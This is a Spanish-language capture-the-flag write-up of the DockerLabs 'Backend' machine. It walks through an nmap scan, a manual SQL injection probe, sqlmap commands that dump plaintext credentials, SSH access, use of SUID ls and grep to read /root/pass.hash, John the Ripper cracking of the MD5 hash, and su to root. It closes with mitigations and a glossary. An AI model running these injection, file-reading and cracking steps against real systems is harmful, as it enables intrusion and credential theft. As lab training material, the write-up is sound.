Backend
DockerLabs · SQLi error → sqlmap dump → SSH pepe → SUID grep → hash MD5 → su root
// ruta
Nmap→
SQLi manual→
sqlmap dump→
SSH pepe→
SUID ls/grep→
john + hashes.com→
ROOT ✓
01
// Planificación & objetivo
paso 01
Objetivo del ejercicio
Backend es una máquina de dificultad Fácil en DockerLabs, basada en Linux Debian. Expone SSH en el puerto 22 y un servidor web Apache en el 80 con una aplicación PHP con login.
Esta máquina encadena varias técnicas clásicas: detección manual de SQL Injection, automatización con sqlmap, explotación de binarios SUID para leer archivos de root, y crackeo de hash MD5 con John the Ripper y hashes.com para obtener la contraseña de root.
Esta máquina encadena varias técnicas clásicas: detección manual de SQL Injection, automatización con sqlmap, explotación de binarios SUID para leer archivos de root, y crackeo de hash MD5 con John the Ripper y hashes.com para obtener la contraseña de root.
paso 02
Resumen de fases
| Fase | Técnica / Herramienta | Resultado |
|---|---|---|
| Reconocimiento | Nmap -sV -sC | Puertos 22 y 80, Apache + PHP login |
| Detección SQLi | Payload manual ' en username | Error MariaDB expuesto |
| Explotación SQLi | sqlmap --dbs + --dump | Credenciales: pepe / P123pepe3456P |
| Acceso inicial | SSH | Shell como pepe |
| Post-explotación | find SUID → ls + grep /root | Hash MD5 en /root/pass.hash |
| Crackeo hash | john + hashes.com | spongebob34 |
| Escalada | su root | Shell root ✓ |
02
// Reconocimiento & despliegue
paso 03
Despliegue de la máquina
Desplegamos con auto_deploy.sh. IP asignada: 172.30.0.2.
03
// Escaneo & análisis
paso 04
Escaneo de puertos — Nmap
Lanzamos Nmap con detección de versiones y scripts NSE. Resultado: SSH en el 22 (OpenSSH 9.2p1 Debian) y HTTP en el 80 (Apache 2.4.61). La web tiene un menú con Home Page y Login. Navegamos a
/login.php.
Nmap
# nmap -sV -sC 172.30.0.2
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3
80/tcp open http Apache httpd 2.4.61 ((Debian))
|_http-title: test page
# web con menú Home + Login → /login.php es el vector
// puertos descubiertos
Puerto 22 SSH y 80 HTTP con aplicación PHP. El login en /login.php es el vector de ataque.
paso 05
Detección manual de SQL Injection
Accedemos a
http://172.30.0.2/login.php e introducimos una comilla simple ' en el campo username con cualquier contraseña. El servidor devuelve un error fatal de MariaDB con el stack trace completo expuesto — incluyendo la ruta del fichero y la línea exacta del fallo. El campo username concatena directamente el input del usuario en la query SQL sin sanitización.
Payload manual
# Campo username:
'
# Campo password:
12345
# Respuesta del servidor:
Fatal error: Uncaught mysqli_sql_exception: You have an error in
your SQL syntax; check the manual that corresponds to your MariaDB
server version for the right syntax to use near '1234" at line 1
in /var/www/html/login.php:26
// SQLi confirmada
Error MariaDB con stack trace expuesto. Ruta interna /var/www/html/login.php:26 visible. Parámetro username vulnerable a SQL Injection.
04
// Explotación & acceso inicial
paso 06
sqlmap — Enumeración de bases de datos
Con la SQLi confirmada, usamos sqlmap para automatizar la explotación. Primero enumeramos las bases de datos disponibles con
--dbs. sqlmap detecta tres tipos de inyección en el parámetro username: boolean-based blind, error-based (EXTRACTVALUE) y time-based blind (SLEEP). Descubrimos la base de datos users.
sqlmap --dbs
# sqlmap -u "http://172.30.0.2/login.php" \
--data="username=test&password=test" \
--batch --risk=3 --level=5 --dbs
back-end DBMS: MySQL >= 5.1 (MariaDB fork)
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] users
paso 07
sqlmap — Dump de credenciales
Dumpeamos la tabla
usuarios de la base de datos users. sqlmap extrae tres registros con usuarios y contraseñas en texto claro. El usuario pepe tiene la contraseña P123pepe3456P.
sqlmap --dump
# sqlmap -u "http://172.30.0.2/login.php" \
--data="username=test&password=test" \
--batch --risk=3 --level=5 -D users -T usuarios --dump
+----+--------+----------------+
| id | usuario| password |
+----+--------+----------------+
| 1 | paco | $paco$123 |
| 2 | pepe | P123pepe3456P |
| 3 | juan | jjuuaann123 |
+----+--------+----------------+
// credenciales extraídas
Contraseñas en texto plano en la BD. Probamos SSH con pepe / P123pepe3456P.
paso 08
Acceso SSH — Shell como pepe
Nos conectamos por SSH con las credenciales extraídas de la base de datos. Obtenemos shell como pepe. Comprobamos sudo — no instalado. Necesitamos buscar otro vector de escalada.
SSH
# ssh pepe@172.30.0.2
pepe@172.30.0.2's password: P123pepe3456P
pepe@5bfd519cc9a7:~$
pepe@5bfd519cc9a7:~$ sudo -l
-bash: sudo: command not found
Usuariopepe
ContraseñaP123pepe3456P
ServicioSSH / 22
// acceso inicial conseguido
Shell como pepe. sudo no instalado — buscamos SUID y archivos sensibles.
05
// Post-Explotación & privesc
paso 09
Binarios SUID — ls y grep con acceso a /root
Buscamos binarios con el bit SUID activo. Entre los resultados destacan dos inusuales: /usr/bin/ls y /usr/bin/grep — ambos con SUID de root. Esto nos permite listar y leer directorios que normalmente estarían restringidos, como
Con
/root.Con
ls /root descubrimos el archivo pass.hash. Con grep "" /root/pass.hash leemos su contenido: un hash MD5 de 32 caracteres.
find SUID + lectura /root
pepe@host:~$ find / -perm -4000 2>/dev/null
...
/usr/bin/mount
/usr/bin/ls
/usr/bin/su
/usr/bin/grep
...
# ls SUID → podemos listar /root
pepe@host:~$ ls /root
pass.hash
# grep SUID → podemos leer el archivo
pepe@host:~$ grep "" /root/pass.hash
e43833c4c9d5ac444e16bb94715a75e4
// hash encontrado
Tipo: MD5 (32 hex chars). Hash: e43833c4c9d5ac444e16bb94715a75e4 — contraseña de root almacenada sin salt.
paso 10
Crackeo del hash MD5 — john + hashes.com
Guardamos el hash en un fichero y lo atacamos con John the Ripper usando rockyou.txt. John identifica el formato Raw-MD5 y encuentra la contraseña en segundos: spongebob34. Verificamos también en hashes.com que devuelve el mismo resultado.
John the Ripper
# echo "e43833c4c9d5ac444e16bb94715a75e4" > hash.txt
# john --format=raw-md5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Loaded 1 password hash (Raw-MD5 [MD5 128/128 ASIMD 4x2])
spongebob34 (?)
1g 0:00:00:00 DONE — Session completed.
# Verificado también en hashes.com: e43833c4c9d5ac444e16bb94715a75e4 → spongebob34
Hash MD5e43833c4c9...
Contraseñaspongebob34
Usuarioroot
paso 11
Escalada de privilegios — su root
Usamos
su root con la contraseña crackeada. Obtenemos shell como root. Verificamos con whoami.
PrivEsc
pepe@host:~$ su root
Password: spongebob34
root@5bfd519cc9a7:/home# whoami
root
// root obtenido ✓
Escalada completada via su root con contraseña crackeada desde hash MD5 en /root/pass.hash.
06
// Reporte & conclusiones
vulnerabilidades
Vectores explotados
| Vulnerabilidad | Impacto | Mitigación |
|---|---|---|
| SQL Injection en login.php (username) | Dump completo de la BD | Usar prepared statements. Nunca concatenar input en queries SQL |
| Stack trace expuesto en producción | Rutas internas y DBMS visibles | Deshabilitar display_errors en PHP en producción |
| Contraseñas en texto plano en BD | Credenciales SSH obtenidas directamente | Hashear contraseñas con bcrypt/argon2. Nunca texto plano |
| SUID en /usr/bin/ls y /usr/bin/grep | Lectura de archivos de root sin privilegios | Auditar binarios SUID. ls y grep nunca deben tener SUID |
| Hash MD5 sin salt en /root/pass.hash | Contraseña de root crackeada en segundos | Usar bcrypt/argon2 con salt. MD5 es inseguro para contraseñas |
lecciones
Lecciones aprendidas
Backend encadena cinco vulnerabilidades distintas que individualmente podrían parecer menores. La SQLi inicial abre la puerta a todas las demás — sin ella, pepe permanecería inaccesible. El punto más interesante de esta máquina es el uso de SUID en ls y grep: una misconfiguration poco común que permite leer el sistema de archivos de root sin ningún exploit sofisticado. El mensaje final es claro: MD5 sin salt no es hashing, es ofuscación — cualquier contraseña en rockyou.txt se crackea en menos de un segundo.
07
// Glosario
sqlmap
Herramienta de código abierto para la detección y explotación automática de SQL Injection. Soporta múltiples técnicas de inyección (boolean-based, error-based, time-based, UNION-based, stacked queries) y múltiples backends (MySQL, PostgreSQL, Oracle, MSSQL...). Con
--dbs enumera bases de datos, con -D bd -T tabla --dump extrae el contenido completo. El flag --batch acepta todas las opciones por defecto sin interacción.SUID en binarios de lectura (ls, grep)
Normalmente los binarios SUID de interés en GTFOBins son editores, intérpretes o utilidades que permiten ejecutar código. Sin embargo, ls y grep con SUID también son peligrosos: permiten listar y leer cualquier archivo del sistema con los privilegios del propietario (root).
grep "" /root/archivo imprime todas las líneas del archivo como si fuera root, sin necesitar escalada de privilegios previa.John the Ripper
Herramienta de crackeo de contraseñas que soporta cientos de formatos de hash. Para MD5 sin salt se usa
--format=raw-md5. Funciona por diccionario (--wordlist), por fuerza bruta o con reglas de mutación. Es especialmente rápido con hashes sin salt como MD5 o SHA1 planos — puede probar millones de candidatos por segundo.MD5 — por qué es inseguro para contraseñas
MD5 fue diseñado como función de hash para verificar integridad de archivos, no para almacenar contraseñas. Sus problemas como hash de contraseñas son: velocidad (permite millones de intentos/segundo), sin salt (contraseñas iguales producen el mismo hash, vulnerable a rainbow tables) y colisiones conocidas. La solución es usar funciones diseñadas específicamente para contraseñas: bcrypt, argon2 o scrypt, que incorporan salt y son intencionalmente lentas.
hashes.com
Base de datos online de hashes ya crackeados. Contiene miles de millones de pares hash:contraseña de breaches históricos y wordlists procesadas. Si el hash está en su base de datos, la búsqueda es instantánea — sin necesidad de crackear localmente. Es el primer recurso a consultar antes de lanzar john o hashcat, especialmente para hashes comunes como MD5 o SHA1.